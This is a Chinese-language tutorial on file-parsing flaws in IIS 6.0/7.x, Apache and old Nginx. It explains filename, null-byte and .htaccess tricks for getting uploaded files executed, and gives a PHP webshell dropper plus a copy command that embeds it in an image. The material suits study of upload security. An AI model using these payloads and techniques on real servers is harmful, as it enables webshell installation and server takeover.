文件解析漏洞
0x00 IIS 6.0解析漏洞
目录解析漏洞
Eg:
/xx.asp/webshell.jpg
/xx.asa/webshell.jpg
上面两个例子演示了目录解析漏洞,以.asp或.asa结尾的目录下的任何文件都被当做asp文件来解析并执行。
这如果网站本身存在这类目录,或者可以自己创建一个,而且存在跨目录上传漏洞的话,那不需要绕过文件类型检测都可以拿到网站的shell了
文件解析漏洞
Eg:
webshell.asp;jpg --> webshell.asp
上例就是IIS6.0的文件解析漏洞,很直观,意思就是分号后面的不被解析,即解析得webshell.asp,是可执行文件。
IIS6.0除了asp为可执行文件,还有asa、cer、cdx等都是可执行文件。
0x01 Apache解析漏洞
Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。
比如 test.php.qwe.asd,“.qwe”和”.asd” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.qwe.asd解析成php。
其余配置问题导致漏洞
(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。
(3).htaccess文件如果可以上传且能覆盖原有配置,
文件写入配置<FilesMatch "hello"> SetHandler application/x-httpd-php </FilesMatch>
上面配置意思是:无论文件后缀是什么,主要包含hellp就会php解析器解析此文件
0x02 IIS 7.0/IIS 7.5/ Nginx版本小于8.03的畸形解析漏洞
Fast-CGI开启
这种漏洞的利用方式是在默认Fast-CGI开启状况下,攻击者上传一个名字为sp.jpg,内容为
<?PHP fputs(fopen('payload.php','w'),' <?php eval($_POST[hehe])?>');?>
的文件,然后当访问sp.jpg/.php这个页面,在这个目录下就会生成一句话木马 payload.php。
常见利用方式:将一张图片和一个写入后门代码的文本合并,将恶意文本写入图片的二进制代码之后,避免破坏图片文件头和尾
eg:copy xx.jpg /b + yy.txt /a xy.jpg
/b 即二进制[binary]模式
/a 即ascii模式 xx.jpg正常图片文件
yy.txt内容为<?PHP fputs(fopen('payload.php','w'),' <?php eval($_POST[hehe])?>');?>,意思是将<?php eval($_POST[hehe])?>写入到payload.php的文件中,这样就注入了一个webshell
Fast-CGI关闭(Nginx <8.03 空字节代码执行漏洞)
在Fast-CGI关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞
在一个文件路径(/xx.jpg)后面加上%00.php会将 /xx.jpg%00.php 解析为 php 文件。
利用方式:
在图片中嵌入php代码,嵌入的方法可以使用上面提到的copy命令
访问xxx.jpg%00.php,这样就会执行图片中的php代码
0x03 其他
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,这也是可以被利用的!
eg:
xx.jpg%00
xx.jpg.